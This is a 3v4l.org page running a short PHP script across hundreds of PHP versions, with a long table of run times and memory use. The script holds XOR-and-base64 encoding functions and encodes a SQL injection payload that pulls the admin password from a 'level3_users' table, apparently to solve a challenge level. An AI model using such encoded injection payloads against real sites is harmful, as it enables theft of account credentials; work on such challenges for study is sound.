3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("Admin' union all select 1,2,3,4,5,6,password from level3_users where level3_users.username='admin' -- ")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0140.00318.19
8.3.50.0070.00922.03
8.3.40.0110.00718.97
8.3.30.0120.00320.17
8.3.20.0040.00420.34
8.3.10.0080.00021.92
8.3.00.0050.00322.44
8.2.180.0070.00716.50
8.2.170.0070.00722.96
8.2.160.0030.01022.22
8.2.150.0030.00524.18
8.2.140.0030.00524.66
8.2.130.0040.00426.16
8.2.120.0060.00319.91
8.2.110.0060.00322.26
8.2.100.0060.00617.72
8.2.90.0040.00419.21
8.2.80.0050.00319.14
8.2.70.0000.00817.63
8.2.60.0070.00318.03
8.2.50.0030.00718.07
8.2.40.0050.00518.28
8.2.30.0060.00318.18
8.2.20.0040.00417.67
8.2.10.0000.00817.76
8.2.00.0070.00317.87
8.1.280.0040.01225.92
8.1.270.0090.00024.66
8.1.260.0080.00026.35
8.1.250.0000.00828.09
8.1.240.0030.00619.20
8.1.230.0040.00719.05
8.1.220.0040.00417.78
8.1.210.0080.00018.77
8.1.200.0060.00317.35
8.1.190.0050.00317.39
8.1.180.0040.00418.95
8.1.170.0040.00418.63
8.1.160.0000.00720.86
8.1.150.0030.00618.49
8.1.140.0000.00817.37
8.1.130.0030.00517.75
8.1.120.0070.00017.55
8.1.110.0070.00017.48
8.1.100.0050.00317.48
8.1.90.0000.00717.47
8.1.80.0040.00417.32
8.1.70.0000.00717.39
8.1.60.0000.00817.63
8.1.50.0030.00517.57
8.1.40.0040.00417.59
8.1.30.0050.00217.65
8.1.20.0000.00817.69
8.1.10.0050.00517.52
8.1.00.0030.00817.40
8.0.300.0030.00318.77
8.0.290.0070.00017.18
8.0.280.0000.00718.41
8.0.270.0030.00317.27
8.0.260.0050.00316.91
8.0.250.0000.00717.00
8.0.240.0070.00016.89
8.0.230.0020.00516.95
8.0.220.0060.00316.93
8.0.210.0040.00416.88
8.0.200.0000.00716.99
8.0.190.0030.00717.00
8.0.180.0020.00516.96
8.0.170.0050.00316.87
8.0.160.0000.00716.98
8.0.150.0070.00016.75
8.0.140.0000.00816.92
8.0.130.0000.00513.31
8.0.120.0030.00616.91
8.0.110.0040.00417.01
8.0.100.0070.00016.79
8.0.90.0040.00416.88
8.0.80.0070.01016.97
8.0.70.0030.00316.77
8.0.60.0060.00317.00
8.0.50.0040.00416.82
8.0.30.0040.01917.06
8.0.20.0130.00717.40
8.0.10.0030.00516.87
8.0.00.0140.00616.71
7.4.330.0020.00315.00
7.4.320.0000.00616.41
7.4.300.0060.00016.53
7.4.290.0030.00316.50
7.4.280.0050.00316.65
7.4.270.0050.00316.66
7.4.260.0000.00513.27
7.4.250.0000.00716.42
7.4.240.0050.00216.56
7.4.230.0030.00316.55
7.4.220.0120.00616.67
7.4.210.0090.00816.59
7.4.200.0000.00816.73
7.4.190.0000.00716.52
7.4.160.0100.00716.48
7.4.150.0090.00917.40
7.4.140.0120.01017.86
7.4.130.0090.00916.50
7.4.120.0070.01216.53
7.4.110.0060.01216.66
7.4.100.0140.00316.36
7.4.90.0120.00616.53
7.4.80.0060.01619.39
7.4.70.0040.01216.56
7.4.60.0060.01016.56
7.4.50.0080.00016.37
7.4.40.0060.00922.77
7.4.30.0070.01116.41
7.4.10.0070.01114.76
7.4.00.0090.00914.93
7.3.330.0000.00513.41
7.3.320.0000.00513.29
7.3.310.0000.00716.43
7.3.300.0030.00316.45
7.3.290.0070.00716.40
7.3.280.0090.01116.38
7.3.270.0030.01417.40
7.3.260.0070.01116.46
7.3.250.0080.01016.42
7.3.240.0110.01116.66
7.3.230.0140.01116.65
7.3.210.0100.00716.51
7.3.200.0080.01219.39
7.3.190.0060.01216.49
7.3.180.0070.01016.63
7.3.170.0050.01016.36
7.3.160.0130.00316.47
7.3.130.0060.00915.14
7.3.120.0000.01214.87
7.3.110.0070.01314.95
7.3.100.0030.01314.86
7.3.90.0070.01014.63
7.3.80.0090.00614.91
7.3.70.0100.00714.94
7.3.60.0070.00414.99
7.3.50.0070.01014.85
7.3.40.0030.01015.00
7.3.30.0070.01014.94
7.3.20.0070.00716.75
7.3.10.0070.00716.71
7.3.00.0070.00716.89
7.2.330.0030.01416.54
7.2.320.0130.00416.82
7.2.310.0100.01216.82
7.2.300.0000.01616.80
7.2.290.0100.00716.84
7.2.260.0030.01615.13
7.2.250.0100.00714.98
7.2.240.0150.00314.98
7.2.230.0070.01115.31
7.2.220.0060.01215.14
7.2.210.0090.00615.17
7.2.200.0090.00914.99
7.2.190.0060.00614.88
7.2.180.0070.00714.80
7.2.170.0040.00715.09
7.2.160.0040.01115.14
7.2.150.0040.01116.95
7.2.140.0070.00316.92
7.2.130.0000.01816.81
7.2.120.0100.00717.01
7.2.110.0060.00917.03
7.2.100.0070.00316.80
7.2.90.0000.01517.09
7.2.80.0030.00717.06
7.2.70.0100.00316.89
7.2.60.0030.00816.89
7.2.50.0030.01316.96
7.2.40.0070.00716.83
7.2.30.0110.00416.96
7.2.20.0080.00816.91
7.2.10.0070.00716.99
7.2.00.0000.01518.25
7.1.330.0030.01215.91
7.1.320.0070.01015.77
7.1.310.0060.00616.00
7.1.300.0030.01015.47
7.1.290.0000.00915.81
7.1.280.0040.01115.82
7.1.270.0000.01515.82
7.1.260.0070.01015.84
7.1.250.0000.01115.54
7.1.240.0030.01315.84
7.1.230.0000.01615.84
7.1.220.0120.00415.51
7.1.210.0040.01115.89
7.1.200.0120.00315.67
7.1.190.0000.01615.79
7.1.180.0070.01015.78
7.1.170.0040.01115.97
7.1.160.0090.00315.75
7.1.150.0070.01015.79
7.1.140.0070.00415.86
7.1.130.0040.00715.83
7.1.120.0000.01215.94
7.1.110.0000.01415.84
7.1.100.0110.00216.86
7.1.90.0060.00615.71
7.1.80.0030.00615.60
7.1.70.0030.01016.25
7.1.60.0060.00816.46
7.1.50.0070.00616.47
7.1.40.0000.01415.90
7.1.30.0000.01215.64
7.1.20.0000.01215.82
7.1.10.0060.00615.91
7.1.00.0090.01519.07
7.0.330.0070.00715.46
7.0.320.0030.00615.38
7.0.310.0030.00915.55
7.0.300.0070.00715.42
7.0.290.0030.00915.38
7.0.280.0000.01215.29
7.0.270.0070.00715.46
7.0.260.0060.00315.18
7.0.250.0080.00015.45
7.0.240.0030.01015.48
7.0.230.0030.00515.47
7.0.220.0050.00515.21
7.0.210.0110.00715.44
7.0.200.0030.01116.13
7.0.190.0030.01015.48
7.0.180.0000.01115.55
7.0.170.0050.00515.39
7.0.160.0030.01015.36
7.0.150.0070.00715.17
7.0.140.0040.04218.78
7.0.130.0080.00815.63
7.0.120.0080.00615.29
7.0.110.0040.00815.13
7.0.100.0030.00915.32
7.0.90.0000.01415.19
7.0.80.0000.01415.18
7.0.70.0070.00315.38
7.0.60.0060.02317.78
7.0.50.0080.03816.69
7.0.40.0070.03016.82
7.0.30.0100.02716.79
7.0.20.0220.04216.89
7.0.10.0080.02516.93
7.0.00.0030.02716.81
5.6.400.0000.01514.29
5.6.390.0090.00614.55
5.6.380.0030.00914.22
5.6.370.0100.00614.64
5.6.360.0090.00314.34
5.6.350.0030.00714.78
5.6.340.0030.01014.45
5.6.330.0060.01014.36
5.6.320.0030.00614.50
5.6.310.0000.01214.06
5.6.300.0040.00814.78
5.6.290.0060.00614.23
5.6.280.0010.04317.79
5.6.270.0090.00614.32
5.6.260.0110.00414.46
5.6.250.0000.01414.47
5.6.240.0090.00614.31
5.6.230.0060.00914.33
5.6.220.0000.01314.14
5.6.210.0090.04017.41
5.6.200.0030.04916.21
5.6.190.0050.04017.52
5.6.180.0020.02917.41
5.6.170.0120.03717.30
5.6.160.0080.04217.26
5.6.150.0070.04516.21
5.6.140.0050.04516.40
5.6.130.0070.02816.34
5.6.120.0090.02017.79
5.6.110.0050.05317.65
5.6.100.0070.04517.70
5.6.90.0050.04017.56
5.6.80.0100.04317.28
5.6.70.0120.01817.31
5.6.60.0090.00314.10
5.6.50.0060.00314.26
5.6.40.0000.01214.06
5.6.30.0070.00314.23
5.6.20.0070.01014.19
5.6.10.0040.01114.22
5.6.00.0000.01314.20
5.5.380.0030.01014.36
5.5.370.0030.01214.27
5.5.360.0090.00613.89
5.5.350.0120.03617.34
5.5.340.0090.04416.21
5.5.330.0050.04117.43
5.5.320.0170.02617.22
5.5.310.0150.02017.39
5.5.300.0050.04016.15
5.5.290.0110.04116.19
5.5.280.0090.04017.67
5.5.270.0130.03517.53
5.5.260.0030.02517.64
5.5.250.0080.04317.42
5.5.240.0180.03817.13
5.5.230.0030.01014.13
5.5.220.0040.00814.43
5.5.210.0090.00614.08
5.5.200.0040.00714.17
5.5.190.0060.00314.35
5.5.180.0040.00714.52
5.5.170.0070.00714.23
5.5.160.0060.00714.39
5.5.150.0060.00814.14
5.5.140.0000.00914.04
5.5.130.0070.00714.21
5.5.120.0090.00614.29
5.5.110.0100.00314.21
5.5.100.0030.01014.53
5.5.90.0110.00413.77
5.5.80.0030.00614.28
5.5.70.0040.01114.22
5.5.60.0030.01214.05
5.5.50.0040.01114.29
5.5.40.0040.00413.85
5.5.30.0100.00314.23
5.5.20.0000.01514.52
5.5.10.0070.00714.34
5.5.00.0090.00614.23
5.4.450.0420.03015.40
5.4.440.0570.03115.34
5.4.430.0430.03115.36
5.4.420.0620.03015.14
5.4.410.0480.03215.09
5.4.400.0150.03414.84
5.4.390.0250.03714.88
5.4.380.0110.03314.64
5.4.370.0230.03014.97
5.4.360.0090.03415.03
5.4.350.0060.02011.48
5.4.340.0020.02811.52
5.4.330.0040.00710.73
5.4.320.0040.02511.70
5.4.310.0060.02711.76
5.4.300.0050.02411.65
5.4.290.0080.02311.80
5.4.280.0020.02511.82
5.4.270.0040.02211.76
5.4.260.0080.02211.59
5.4.250.0060.02011.67
5.4.240.0080.02714.99
5.4.230.0060.03114.92
5.4.220.0050.03415.01
5.4.210.0070.04014.90
5.4.200.0170.02114.99
5.4.190.0040.03215.02
5.4.180.0010.03514.90
5.4.170.0050.03015.05
5.4.160.0070.03314.98
5.4.150.0020.03715.01
5.4.140.0080.02613.61
5.4.130.0100.02513.75
5.4.120.0160.03313.60
5.4.110.0070.03213.77
5.4.100.0120.02713.95
5.4.90.0070.03013.70
5.4.80.0170.02813.81
5.4.70.0050.04013.87
5.4.60.0050.02813.65
5.4.50.0020.03113.67
5.4.40.0090.02813.78
5.4.30.0050.03413.77
5.4.20.0070.02913.75
5.4.10.0140.03413.85
5.4.00.0080.03513.30
5.3.290.0050.02311.66
5.3.280.0050.03812.41
5.3.270.0080.03212.60
5.3.260.0090.04112.67
5.3.250.0080.03012.50
5.3.240.0100.03412.61
5.3.230.0080.03512.62
5.3.220.0050.03212.59
5.3.210.0020.04812.58
5.3.200.0100.03812.63
5.3.190.0160.03612.47
5.3.180.0080.03712.66
5.3.170.0070.03712.53
5.3.160.0080.03312.69
5.3.150.0050.04012.63
5.3.140.0100.02812.63
5.3.130.0100.03512.59
5.3.120.0080.04112.57
5.3.110.0080.02812.63
5.3.100.0060.02912.41
5.3.90.0080.02812.37
5.3.80.0050.03012.31
5.3.70.0050.02712.20
5.3.60.0030.03212.39
5.3.50.0060.02512.23
5.3.40.0110.02312.36
5.3.30.0100.02312.32
5.3.20.0120.03512.20
5.3.10.0100.03512.03
5.3.00.0080.03511.93
5.2.170.0000.04711.23
5.2.160.0100.04011.34
5.2.150.0170.04011.23
5.2.140.0030.05711.23
5.2.130.0070.04311.06
5.2.120.0100.05011.08
5.2.110.0100.04311.19
5.2.100.0170.05311.09
5.2.90.0170.03311.20
5.2.80.0100.04311.17
5.2.70.0100.05711.00
5.2.60.0070.06711.15
5.2.50.0000.07011.10
5.2.40.0030.05010.83
5.2.30.0100.05711.07
5.2.20.0030.04311.04
5.2.10.0130.04711.04
5.2.00.0070.05310.81
5.1.60.0100.03010.04
5.1.50.0070.05010.10
5.1.40.0070.05010.04
5.1.30.0000.04310.55
5.1.20.0100.03310.34
5.1.10.0070.05010.27
5.1.00.0000.04310.12
5.0.50.0030.0308.56
5.0.40.0030.0308.26
5.0.30.0030.0438.07
5.0.20.0070.0308.27
5.0.10.0030.0278.43
5.0.00.0030.0478.14
4.4.90.0070.0207.32
4.4.80.0030.0237.32
4.4.70.0070.0207.32
4.4.60.0070.0307.32
4.4.50.0100.0207.32
4.4.40.0070.0407.32
4.4.30.0030.0277.32
4.4.20.0100.0237.32
4.4.10.0070.0277.32
4.4.00.0030.0477.32
4.3.110.0000.0237.32
4.3.100.0030.0277.32
4.3.90.0000.0337.32
4.3.80.0070.0307.32
4.3.70.0100.0177.32
4.3.60.0000.0307.32
4.3.50.0000.0237.32
4.3.40.0000.0377.32
4.3.30.0000.0277.32
4.3.20.0030.0237.32
4.3.10.0100.0177.32
4.3.00.0170.0207.40

preferences:
45.32 ms | 401 KiB | 5 Q